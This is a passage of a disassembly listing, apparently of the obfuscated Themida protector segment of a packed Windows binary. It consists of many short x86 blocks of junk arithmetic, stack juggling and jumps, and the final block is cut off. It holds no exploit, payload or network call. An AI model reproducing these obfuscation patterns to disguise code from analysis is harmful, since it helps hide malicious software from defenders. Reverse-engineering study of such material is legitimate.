; ---------------------------------------------------------------------------


loc_59AFA8:				; CODE XREF: Themida_:00597415j
		mov	esi, 4
		add	eax, esi
		jmp	loc_5A2239
; ---------------------------------------------------------------------------


loc_59AFB4:				; CODE XREF: Themida_:005A3B47j
		mov	[esp], eax
		jmp	loc_59EB5B
; ---------------------------------------------------------------------------


loc_59AFBC:				; CODE XREF: Themida_:00596DC5j
		mov	ebp, 57CF3AFDh
		xor	ebp, 104A4B73h
		dec	ebp
		add	ebp, 74BF5DCEh
		or	ebp, 72D37C94h
		jmp	loc_598D97
; ---------------------------------------------------------------------------


loc_59AFD9:				; CODE XREF: Themida_:0059601Dj
		mov	esp, [esp]
		add	esp, 4
		push	3679h
		mov	[esp], esi
		jmp	loc_59FF2C
; ---------------------------------------------------------------------------


loc_59AFEF:				; CODE XREF: Themida_:0059F0EFj
		mov	edx, 51E8547Fh
		and	esi, edx
		pop	edx
		jmp	loc_590DC1
; ---------------------------------------------------------------------------


loc_59AFFC:				; CODE XREF: Themida_:005990BCj
		mov	ecx, [esp]
		add	esp, 4
		push	6D2Ch
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_59A871
; ---------------------------------------------------------------------------


loc_59B017:				; CODE XREF: Themida_:005964ECj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		pop	edi
		push	edx
		mov	edx, 2
		sub	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_5902C1
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		jmp	loc_59ED86
; ---------------------------------------------------------------------------


loc_59B048:				; CODE XREF: Themida_:0059EC60j
		and	ecx, 57D2229Ah
		add	ecx, 6A63F57Ch
		add	esi, 3D481C33h
		jmp	loc_596BC6
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_593117
; ---------------------------------------------------------------------------


loc_59B06E:				; CODE XREF: Themida_:0059F6B8j
		xor	eax, 6CC07D27h
		not	eax
		inc	eax
		jmp	loc_590D8D
; ---------------------------------------------------------------------------


loc_59B07B:				; CODE XREF: Themida_:0059FA7Ej
		add	ecx, 4
		push	edi
		push	ebp
		mov	ebp, 4CAC2A42h
		sub	ebp, 4CAC2A3Eh
		jmp	loc_59631D
; ---------------------------------------------------------------------------


loc_59B093:				; CODE XREF: Themida_:00593D3Bj
		mov	edx, 5E870550h
		inc	edx
		shl	edx, 3
		shl	edx, 3
		xor	edx, 0FE117C11h
		jmp	loc_5944B2
; ---------------------------------------------------------------------------


loc_59B0AA:				; CODE XREF: Themida_:00593C5Cj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_595212
; ---------------------------------------------------------------------------


loc_59B0B5:				; CODE XREF: Themida_:0059F077j
		pop	eax
		add	ebx, 2CED0700h
		push	eax
		mov	eax, 4AD676DEh
		and	eax, 402C32E5h
		not	eax
		inc	eax
		shl	eax, 4
		or	eax, 2C5D4E9Ch
		xor	eax, 0D58EE9F9h
		xor	ebx, eax
		pop	eax
		mov	edx, ebx
		mov	ebx, [esp]
		jmp	loc_5A3349
; ---------------------------------------------------------------------------


loc_59B0E4:				; CODE XREF: Themida_:00597EC3j
		inc	ebx
		sub	ebx, 0FA962D2Dh
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, esi
		push	ebx
		mov	ebx, 4C76ED5h
		jmp	loc_596624
; ---------------------------------------------------------------------------


loc_59B100:				; CODE XREF: Themida_:0059769Cj
		add	al, cl
		mov	ecx, [esp]
		push	edx
		push	esp
		pop	edx
		push	ebx
		mov	ebx, 4D26DEh
		xor	ebx, 4E0D6A22h
		jmp	loc_591342
; ---------------------------------------------------------------------------


loc_59B119:				; CODE XREF: Themida_:0059B534j
		mov	edx, 324D40DDh
		add	ebp, edx
		pop	edx
		pop	edx
		dec	ebp
		push	edx
		mov	edx, 1B653330h
		add	ebp, edx
		pop	edx
		jmp	loc_596CFC
; ---------------------------------------------------------------------------


loc_59B131:				; CODE XREF: Themida_:00592D8Ej
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		pop	ecx
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59B140:				; CODE XREF: Themida_:00594B6Aj
		and	ebp, 5F98717Fh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7A3E45CDh
		and	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 0B7E7BEB8h
		add	edx, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59DA69
; ---------------------------------------------------------------------------


loc_59B18A:				; CODE XREF: Themida_:0059E8DBj
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A329A
; ---------------------------------------------------------------------------


loc_59B19A:				; CODE XREF: Themida_:0059367Aj
		sub	edi, 3D980118h
		push	ecx
		mov	ecx, 69485369h
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, edx
		sub	edi, 69485369h
		add	edi, 3D980118h
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, edi
		jmp	loc_59CF26
; ---------------------------------------------------------------------------


loc_59B1CD:				; CODE XREF: Themida_:0059D804j
		sub	ebp, 24BB5085h
		jmp	loc_5948B8
; ---------------------------------------------------------------------------


loc_59B1D8:				; CODE XREF: Themida_:005981B4j
		push	ecx
		mov	ch, dh
		mov	bl, ch
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		push	edx
		jmp	loc_5A0F2F
; ---------------------------------------------------------------------------


loc_59B1EE:				; CODE XREF: Themida_:0059FDB6j
		mov	ebx, 4
		sub	edx, 278C2C9Ah
		add	edx, ebx
		add	edx, 278C2C9Ah
		mov	ebx, [esp]
		jmp	loc_59C4C4
; ---------------------------------------------------------------------------


loc_59B209:				; CODE XREF: Themida_:005980CEj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_59EAA8
; ---------------------------------------------------------------------------


loc_59B212:				; CODE XREF: Themida_:0059CEE9j
		push	dword ptr [esp+4]
		jmp	loc_59BDC2
; ---------------------------------------------------------------------------


loc_59B21B:				; CODE XREF: Themida_:005A09CAj
		sub	ebx, 139709D7h
		push	ecx
		mov	ecx, 6F653E2Ah
		push	ebp
		jmp	loc_59BF85
; ---------------------------------------------------------------------------


loc_59B22D:				; CODE XREF: Themida_:0059E802j
		add	ebx, 694505C2h
		jmp	loc_59F3D6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_592789
; ---------------------------------------------------------------------------


loc_59B241:				; CODE XREF: Themida_:005A4383j
		push	eax
		mov	eax, 10520955h
		push	ecx
		mov	ecx, 7F250335h
		dec	ecx
		jmp	loc_59D87A
; ---------------------------------------------------------------------------


loc_59B253:				; CODE XREF: Themida_:005A0A66j
		pop	edx
		push	63B4h
		mov	[esp], ebx
		mov	ebx, 6C6E09CDh
		push	edx
		mov	edx, 71F227E7h
		and	ebx, edx
		pop	edx
		push	7B67h
		mov	[esp], eax
		push	ecx
		mov	ecx, 32C33B54h
		mov	eax, ecx
		pop	ecx
		add	ebx, 425D7224h
		sub	ebx, 46954D17h
		sub	ebx, eax
		jmp	loc_5978B3
; ---------------------------------------------------------------------------


loc_59B28E:				; CODE XREF: Themida_:005A0A6Cj
		and	ecx, 4462198Ch
		push	eax
		mov	eax, 311A5934h
		jmp	loc_5A00C6
; ---------------------------------------------------------------------------


loc_59B29F:				; CODE XREF: Themida_:005973B2j
		push	eax
		mov	eax, 4
		jmp	loc_595B75
; ---------------------------------------------------------------------------


loc_59B2AA:				; CODE XREF: Themida_:0059E66Bj
		pop	edi
		push	6C2Ah
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5A11EC
; ---------------------------------------------------------------------------


loc_59B2C5:				; CODE XREF: Themida_:005982CFj
		push	1AE3h
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5972EF
; ---------------------------------------------------------------------------


loc_59B2E1:				; CODE XREF: Themida_:005978E6j
		push	7E7Bh
		mov	[esp], ebp
		jmp	loc_5943D8
; ---------------------------------------------------------------------------


loc_59B2EE:				; CODE XREF: Themida_:0059124Cj
		or	ebp, 4FDE6A0Ch
		push	esi
		mov	esi, 183D05C6h
		and	ebp, esi
		pop	esi
		add	ebp, 3AD76A14h
		sub	edi, ebp
		pop	ebp
		jmp	loc_5988AD
; ---------------------------------------------------------------------------


loc_59B30B:				; CODE XREF: Themida_:00590682j
		mov	eax, 4AE36B24h
		xor	[esp+4], eax
		pop	eax
		pop	ebx
		xor	ebx, 4AE36B24h
		pop	esi
		mov	esi, ebx
		pop	ebx
		push	esi
		mov	esi, 36DD7D6Ah
		jmp	loc_5A3863
; ---------------------------------------------------------------------------


loc_59B32B:				; CODE XREF: Themida_:005A2005j
		xchg	edx, [esp]
		pop	esp
		add	eax, 47096E9Bh
		jmp	loc_5935FD
; ---------------------------------------------------------------------------


loc_59B339:				; CODE XREF: Themida_:00597CEBj
		push	ebx
		jmp	loc_5A40E4
; ---------------------------------------------------------------------------


loc_59B33F:				; CODE XREF: Themida_:005A1EADj
		mov	ebx, 13565B19h
		xor	ebx, 5F2783FDh
		add	edi, ebx
		pop	ebx
		add	ebp, 30E446Bh
		jmp	loc_59C606
; ---------------------------------------------------------------------------


loc_59B358:				; CODE XREF: Themida_:00598368j
		sub	bh, 0Eh
		add	al, bh
		pop	ebx
		jmp	loc_59FFD3
; ---------------------------------------------------------------------------


loc_59B363:				; CODE XREF: Themida_:005999C2j
		add	esi, 17C54A47h
		shl	esi, 3
		or	esi, 0FC07FD3h
		push	edx
		mov	edx, 0F03C0011h
		add	esi, edx
		jmp	loc_59FA5E
; ---------------------------------------------------------------------------


loc_59B37F:				; CODE XREF: Themida_:00590535j
		pop	esp
		jmp	loc_598261
; ---------------------------------------------------------------------------


loc_59B385:				; CODE XREF: Themida_:0059E3EFj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 62341CE2h
		sub	ebx, 4E5B57DAh
		add	ebx, eax
		add	ebx, 4E5B57DAh
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5907D2
; ---------------------------------------------------------------------------


loc_59B3AD:				; CODE XREF: Themida_:00596544j
		mov	[esp], edi
		mov	edi, 25DC1E7Ch
		add	ebx, 61D111D0h
		sub	ebx, 3C237068h
		add	ebx, edi
		jmp	loc_59F2E1
; ---------------------------------------------------------------------------


loc_59B3C8:				; CODE XREF: Themida_:005A1E7Fj
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59A7C3
; ---------------------------------------------------------------------------


loc_59B3D8:				; CODE XREF: Themida_:00592170j
		mov	[esp], esi
		sub	esp, 4
		push	esp
		jmp	loc_59F747
; ---------------------------------------------------------------------------


loc_59B3E7:				; CODE XREF: Themida_:0059C5BBj
		push	7A4Bh
		mov	[esp], ebx
		push	1162h
		mov	[esp], ebp
		jmp	loc_5A32C6
; ---------------------------------------------------------------------------


loc_59B3FC:				; CODE XREF: Themida_:0059F870j
		pop	ebp
		push	ecx
		jmp	loc_5A16B8
; ---------------------------------------------------------------------------


loc_59B403:				; CODE XREF: Themida_:00597786j
		xor	ecx, 22D156E1h
		dec	ecx
		add	ecx, 22163D6Bh
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 733B4801h
		sub	eax, ebx
		add	eax, 733B4801h
		add	eax, 6F7F658Bh
		jmp	loc_59707C
; ---------------------------------------------------------------------------


loc_59B42E:				; CODE XREF: Themida_:0059F002j
		or	ecx, ebp
		pop	ebp
		dec	ecx
		add	ecx, 4B86F4Bh
		add	ecx, 0FD78A04Fh
		mov	ebx, ecx
		jmp	loc_5999E0
; ---------------------------------------------------------------------------


loc_59B445:				; CODE XREF: Themida_:005947DEj
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_59129F
; ---------------------------------------------------------------------------


loc_59B459:				; CODE XREF: Themida_:0059ED5Aj
		pop	esi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5A12D5
; ---------------------------------------------------------------------------


loc_59B466:				; CODE XREF: Themida_:00590986j
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_5A383C
; ---------------------------------------------------------------------------


loc_59B471:				; CODE XREF: Themida_:0059D3DEj
		pop	ebp
		pop	ebx
		push	edi
		mov	edi, 4A3D440Bh
		add	edx, edi
		pop	edi
		jmp	loc_59EA8E
; ---------------------------------------------------------------------------


loc_59B481:				; CODE XREF: Themida_:005979C4j
		push	esi
		mov	esi, 61444FECh
		dec	esi
		not	esi
		xor	esi, 7800E9B9h
		jmp	loc_5A46A4
; ---------------------------------------------------------------------------


loc_59B495:				; CODE XREF: Themida_:0059A977j
		sub	eax, 65E79B3h
		add	edx, 229A7DBFh
		sub	edx, eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 229A7DBFh
		sub	edx, ebx
		pop	ebx
		pop	eax
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59B4BD:				; CODE XREF: Themida_:00599326j
		mov	esp, [esp]
		jmp	loc_59A618
; ---------------------------------------------------------------------------


loc_59B4C5:				; CODE XREF: Themida_:00593E75j
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		jmp	loc_59E107
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59B4E7:				; CODE XREF: Themida_:005A4A95j
		inc	bl
		add	bl, 0D8h
		add	bl, 59h
		jmp	loc_59DD5E
; ---------------------------------------------------------------------------


loc_59B4F4:				; CODE XREF: Themida_:0059AD93j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5933D5
; ---------------------------------------------------------------------------


loc_59B500:				; CODE XREF: Themida_:0059B7DEj
		xor	eax, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 35516348h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 244069A4h
		sub	ebp, 324D40DDh
		sub	ebp, edx
		push	edx
		jmp	loc_59B119
; ---------------------------------------------------------------------------


loc_59B539:				; CODE XREF: Themida_:0059D777j
		add	esp, 4
		push	eax
		pop	ebx
		pop	eax
		add	ebx, 6ACC6239h
		jmp	loc_597425
; ---------------------------------------------------------------------------


loc_59B54A:				; CODE XREF: Themida_:0059A51Cj
		sub	ch, 45h
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0D4h
		jmp	loc_59055F
; ---------------------------------------------------------------------------


loc_59B55D:				; CODE XREF: Themida_:0059B683j
		mov	esi, 3D643C75h
		add	esi, 56BA1858h
		and	esi, 7095CAAh
		shr	esi, 6
		add	esi, 7B3B3A82h
		push	3189h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		push	eax
		mov	eax, 61E40839h
		jmp	loc_593FD1
; ---------------------------------------------------------------------------


loc_59B593:				; CODE XREF: Themida_:00594C92j
		mov	esp, [esp]
		push	small 7D30h
		mov	[esp], bx
		push	edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_59E4CC
; ---------------------------------------------------------------------------


loc_59B5AA:				; CODE XREF: Themida_:00599649j
		sub	esi, edx
		pop	edx
		jmp	loc_596E28
; ---------------------------------------------------------------------------


loc_59B5B2:				; CODE XREF: Themida_:005999A8j
		neg	ebp
		shr	ebp, 5
		jmp	loc_59F3DF
; ---------------------------------------------------------------------------


loc_59B5BC:				; CODE XREF: Themida_:005A3176j
		push	75D512AFh
		pop	esi
		shl	esi, 4
		dec	esi
		and	esi, 5A2E4EACh
		sub	esi, 0E2CE73h
		mov	eax, esi
		pop	esi
		xor	eax, 12EF2F02h
		sub	ecx, eax
		pop	eax
		sub	ecx, edi
		add	ecx, 45F2133Bh
		jmp	loc_5A3514
; ---------------------------------------------------------------------------


loc_59B5EA:				; CODE XREF: Themida_:005A37A5j
		push	esi
		jmp	loc_5A177E
; ---------------------------------------------------------------------------


loc_59B5F0:				; CODE XREF: Themida_:0059468Cj
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_59D755
; ---------------------------------------------------------------------------


loc_59B60E:				; CODE XREF: Themida_:0059D494j
		pop	edx
		jmp	loc_5923E7
; ---------------------------------------------------------------------------


loc_59B614:				; CODE XREF: Themida_:00591362j
		push	ebp
		mov	ebp, 46DD6EC8h
		and	edx, ebp
		pop	ebp
		shl	edx, 7
		dec	edx
		dec	edx
		add	edx, 9148BC06h
		mov	eax, edx
		jmp	loc_594996
; ---------------------------------------------------------------------------


loc_59B62F:				; CODE XREF: Themida_:00596119j
		sub	edi, 6E010DD6h
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		pop	ebx
		pop	edi
		and	eax, ebx
		jmp	loc_59F094
; ---------------------------------------------------------------------------


loc_59B648:				; CODE XREF: Themida_:00597468j
		mov	[esp], eax
		push	esi
		push	28066A23h
		pop	esi
		or	esi, 9114A42h
		jmp	loc_59AA1F
; ---------------------------------------------------------------------------


loc_59B65D:				; CODE XREF: Themida_:005A23B6j
		push	ebp
		jmp	loc_5A27F2
; ---------------------------------------------------------------------------


loc_59B663:				; CODE XREF: Themida_:0059DA19j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		imul	cl
		jmp	loc_59C079
; ---------------------------------------------------------------------------


loc_59B671:				; CODE XREF: Themida_:0059570Ej
		push	eax
		mov	eax, 2
		add	ebx, eax
		pop	eax
		jmp	loc_599F01
; ---------------------------------------------------------------------------


loc_59B67F:				; CODE XREF: Themida_:005967DFj
		pop	esp
		mov	[esp], esi
		jmp	loc_59B55D
; ---------------------------------------------------------------------------


loc_59B688:				; CODE XREF: Themida_:00594272j
		add	esi, 4
		jmp	loc_59F473
; ---------------------------------------------------------------------------


loc_59B693:				; CODE XREF: Themida_:00592516j
		push	0A59h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, 4
		add	eax, 0A1E6306h
		sub	eax, 9285865h
		jmp	loc_590DB0
; ---------------------------------------------------------------------------


loc_59B6BE:				; CODE XREF: Themida_:0059C7EEj
		add	esp, 4
		add	edx, 4
		sub	edx, 4
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_592CBB
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		sub	esp, 4
		jmp	loc_590F0D
; ---------------------------------------------------------------------------


loc_59B704:				; CODE XREF: Themida_:005A2CDDj
		push	esi
		push	ecx
		mov	ecx, 4
		mov	esi, ecx
		jmp	loc_59D9CD
; ---------------------------------------------------------------------------


loc_59B712:				; CODE XREF: Themida_:005A1ECAj
		pop	ecx
		jmp	loc_590B94
; ---------------------------------------------------------------------------


loc_59B718:				; CODE XREF: Themida_:00596B0Cj
		pop	edx
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A35BA
; ---------------------------------------------------------------------------


loc_59B72C:				; CODE XREF: Themida_:00595CFDj
		add	esi, 4
		jmp	loc_590EF3
; ---------------------------------------------------------------------------


loc_59B737:				; CODE XREF: Themida_:005912FDj
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5A2C9F
; ---------------------------------------------------------------------------


loc_59B74A:				; CODE XREF: Themida_:005955EFj
		push	edx
		dec	dword ptr [esp]
		jmp	loc_5A09D6
; ---------------------------------------------------------------------------


loc_59B753:				; CODE XREF: Themida_:005A4BFCj
		not	dword ptr [esp]
		pop	eax
		jmp	loc_5978F6
; ---------------------------------------------------------------------------


loc_59B75C:				; CODE XREF: Themida_:00594135j
		mov	eax, esi
		jmp	loc_59FB5F
; ---------------------------------------------------------------------------


loc_59B763:				; CODE XREF: Themida_:00594051j
		push	edx
		mov	edx, 57034C5Fh
		jmp	loc_5913AD
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5A0FBE
; ---------------------------------------------------------------------------


loc_59B777:				; CODE XREF: Themida_:00598700j
		sub	ebp, 67457446h
		sub	ebp, 1DBC2A52h
		add	ebp, ebx
		jmp	loc_592795
; ---------------------------------------------------------------------------


loc_59B78A:				; CODE XREF: Themida_:00592982j
		mov	esp, [esp]
		push	2B19h
		mov	[esp], ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 4ACC08AAh
		jmp	loc_5995A6
; ---------------------------------------------------------------------------


loc_59B7A8:				; CODE XREF: Themida_:005A5126j
		add	bh, 64h
		jmp	loc_59D24B
; ---------------------------------------------------------------------------


loc_59B7B0:				; CODE XREF: Themida_:00596B04j
		push	edi
		jmp	loc_5A26D8
; ---------------------------------------------------------------------------


loc_59B7B6:				; CODE XREF: Themida_:005A14C4j
		neg	bl
		push	ecx
		mov	cl, 0D5h
		add	cl, 1
		sub	cl, 35h
		not	cl
		jmp	loc_59D961
; ---------------------------------------------------------------------------


loc_59B7C8:				; CODE XREF: Themida_:005995EEj
		shr	bh, 1
		jmp	loc_5A0919
; ---------------------------------------------------------------------------


loc_59B7CF:				; CODE XREF: Themida_:005910C4j
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59B500
; ---------------------------------------------------------------------------


loc_59B7E3:				; CODE XREF: Themida_:00595274j
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_597312
; ---------------------------------------------------------------------------


loc_59B7FA:				; CODE XREF: Themida_:005A1ADDj
		and	ecx, 7289659Bh
		or	ecx, 21025974h
		not	ecx
		add	ecx, 9A669F6Ch
		jmp	loc_5986BF
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	28AEh
		mov	[esp], edi
		push	5239h
		mov	[esp], esp
		push	esi
		jmp	loc_5A0E4C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	esp
		pop	edx
		push	552h
		mov	[esp], eax
		jmp	loc_5977CA
; ---------------------------------------------------------------------------


loc_59B841:				; CODE XREF: Themida_:00593981j
		add	esi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5917AE
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5A04A5
; ---------------------------------------------------------------------------


loc_59B855:				; CODE XREF: Themida_:005916A4j
		pop	esp
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	25h
		mov	[esp], esp
		jmp	loc_59F869
; ---------------------------------------------------------------------------


loc_59B873:				; CODE XREF: Themida_:0059EB13j
		add	edi, ecx
		jmp	loc_59F84A
; ---------------------------------------------------------------------------


loc_59B87A:				; CODE XREF: Themida_:0059C2A7j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5A1927
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5A54B5
; ---------------------------------------------------------------------------


loc_59B892:				; CODE XREF: Themida_:00593B54j
		push	6FC3h
		mov	[esp], esi
		jmp	loc_59D0AF
; ---------------------------------------------------------------------------


loc_59B89F:				; CODE XREF: Themida_:00598786j
		add	ebx, 0AA1E991Ah
		jmp	loc_5912B7
; ---------------------------------------------------------------------------


loc_59B8AA:				; CODE XREF: Themida_:00592E77j
		pop	ebp
		jmp	loc_5A225E
; ---------------------------------------------------------------------------


loc_59B8B0:				; CODE XREF: Themida_:00591D20j
		mov	ecx, esp
		add	ecx, 4
		push	236h
		mov	[esp], eax
		mov	eax, 4
		sub	ecx, 632C5569h
		add	ecx, eax
		add	ecx, 632C5569h
		pop	eax
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59EDBF
; ---------------------------------------------------------------------------


loc_59B8E8:				; CODE XREF: Themida_:005A29B1j
		mov	edi, 462F558Bh
		jmp	loc_59DB39
; ---------------------------------------------------------------------------


loc_59B8F2:				; CODE XREF: Themida_:005A08A3j
		mov	[esp], edi
		mov	edi, 76F9552Eh
		xor	ecx, edi
		pop	edi
		push	3F65h
		jmp	loc_594A53
; ---------------------------------------------------------------------------


loc_59B907:				; CODE XREF: Themida_:005987ABj
		sub	ebp, eax
		add	ebp, 5AA76262h
		pop	eax
		add	ebp, eax
		jmp	loc_590314
; ---------------------------------------------------------------------------


loc_59B917:				; CODE XREF: Themida_:0059BBEBj
		neg	edi
		or	edi, 5D346E3Dh
		jmp	loc_59D956
; ---------------------------------------------------------------------------


loc_59B924:				; CODE XREF: Themida_:00599729j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	eax, 1B6163C9h
		push	esi
		push	4869h
		mov	[esp], eax
		pop	esi
		push	435Ch
		mov	[esp], esi
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5A19D7
; ---------------------------------------------------------------------------


loc_59B96C:				; CODE XREF: Themida_:00599AA4j
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_592C6E
; ---------------------------------------------------------------------------


loc_59B990:				; CODE XREF: Themida_:00595E34j
		and	edi, 1FC9575Bh
		xor	edi, 5BD34845h
		jmp	loc_5A559C
; ---------------------------------------------------------------------------


loc_59B9A1:				; CODE XREF: Themida_:00592744j
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, 0C117461h
		or	ebx, 6CB84502h
		not	ebx
		not	ebx
		dec	ebx
		xor	ebx, 0BE480DEAh
		add	ecx, ebx
		pop	ebx
		and	ebp, ecx
		pop	ecx
		jmp	loc_594340
; ---------------------------------------------------------------------------


loc_59B9C8:				; CODE XREF: Themida_:0059D1C8j
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 2Ah
		sub	cl, dl
		pop	dx
		and	cl, 0C3h
		not	cl
		shl	cl, 6
		inc	cl
		push	ebx
		mov	bl, 15h
		and	bl, 59h
		sub	bl, 0A3h
		add	cl, bl
		pop	ebx
		jmp	loc_597557
; ---------------------------------------------------------------------------


loc_59B9F0:				; CODE XREF: Themida_:0059C93Bj
		mov	esi, 0D0634BBh
		dec	esi
		push	ebx
		mov	ebx, 25DF2E38h
		xor	ebx, 4945351Dh
		or	esi, ebx
		jmp	loc_5A26AC
; ---------------------------------------------------------------------------


loc_59BA09:				; CODE XREF: Themida_:005A5053j
		mov	[esp], ecx
		mov	ecx, 21C71C90h
		jmp	loc_59F784
; ---------------------------------------------------------------------------


loc_59BA16:				; CODE XREF: Themida_:0059682Aj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_599B89
; ---------------------------------------------------------------------------


loc_59BA21:				; CODE XREF: Themida_:005979D6j
		mov	dh, ch
		mov	ah, dh
		mov	edx, [esp]
		jmp	loc_598340
; ---------------------------------------------------------------------------


loc_59BA2D:				; CODE XREF: Themida_:00593FB0j
		xor	eax, 6788271Dh
		jmp	loc_5A4DFE
; ---------------------------------------------------------------------------


loc_59BA37:				; CODE XREF: Themida_:005A2CB9j
		sub	ebx, 4E84640h
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_59FB95
; ---------------------------------------------------------------------------


loc_59BA4F:				; CODE XREF: Themida_:005929A8j
		pop	edx
		add	ch, bl
		pop	ebx
		push	5A1h
		mov	[esp], edx
		jmp	loc_5938AB
; ---------------------------------------------------------------------------


loc_59BA60:				; CODE XREF: Themida_:00598EAAj
		mov	eax, [esp]
		jmp	loc_597D81
; ---------------------------------------------------------------------------


loc_59BA68:				; CODE XREF: Themida_:0059E641j
		sub	edi, esi
		pop	esi
		mov	esi, edi
		pop	edi
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_592A0C
; ---------------------------------------------------------------------------


loc_59BAA8:				; CODE XREF: Themida_:00594D10j
		push	ebp
		mov	ebp, 62AB536Ch
		sub	ebp, 62AB5368h
		push	ebx
		mov	ebx, ebp
		mov	esi, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A404A
; ---------------------------------------------------------------------------


loc_59BAD0:				; CODE XREF: Themida_:005A0718j
		not	ch
		push	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
